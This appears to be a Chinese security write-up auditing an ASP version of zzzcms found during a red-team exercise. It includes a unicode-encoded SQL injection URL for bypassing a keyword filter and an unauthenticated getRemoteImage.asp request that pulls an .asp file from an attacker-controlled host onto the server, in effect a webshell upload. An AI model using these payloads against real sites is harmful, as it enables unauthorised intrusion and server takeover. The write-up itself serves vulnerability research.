现在在酒店等国护开始,之前市hw的时候碰到的一个asp环境,因为相关的漏洞都是php版本的,而环境是asp,所以找了个源码进行审计下,这边做个记录
一个注入iis+asp,通过unicode编码配合注入发现select字符会被截断,导致无法进行利用
https://xxxxx.cn/web/xxxxx.mhtml?cid=1e2unio%u004e--xx selec%u0054~1,2,3,4,5,6
当时目标站点前台环境是在/web
下的,而后台环境是在/
下的,所以我不知道它前台是如何写的,跟源码对应不上,所以我这里就着重来分析后台的代码
先看 admin\index.asp
,这个代码下首先会先引入zzz_admin.asp文件
<!DOCTYPE html><html><head><meta charset="utf-8"><meta http-equiv="Cache-Control" content="no-siteapp" />...
...
...
...
inc\zzz_admin.asp的鉴权代码,getsession不可控,所以只要引入的zzz_admin.asp的文件都不能利用
if getsession("adminid")="" then if ifstrin(getNowPagePath(),adminpath) then
aspgo sitepath&adminpath&"login.asp?act=relog"
else
aspgo sitepath
end ifend if
我发现它zzz_Content中的代码全部都引入了鉴权模块zzz_admin.asp
这里还有两个相关的上传组件,分别是webuploader和ueditor,这里分别进行观察
这里的ueditor引用的是webuploader组件
因为这套zzzcms在安装的时候,默认会将当前的admin目录进行修改为admin+三位数字作为后台目录
这边的话发现的一个文件是webuploader下的一个文件,admin468/inc/webuploader/config.asp
,直接访问的是可以看到对应的后台目录的,但是前提是需要知道后台目录,所以没有什么多大的用处
因为我当时的目标站点是被二次开发过的,空的话则代表默认根路径就是后台站点,实战环境下所以我这边/inc/webuploader/config.asp
这边发现webuploader的admin\inc\webuploader\getRemoteImage.asp
没有对上传组件进行单独鉴权操作,如下图所示
http://192.168.4.149/admin468/inc/webuploader/getRemoteImage.asppost:file=http://192.168.88.165:8080/en_moban.asp
回显如下,可以看到对应的文件名
可以看到已经写入了,如下图所示
原文来自「HACK学习呀」|侵删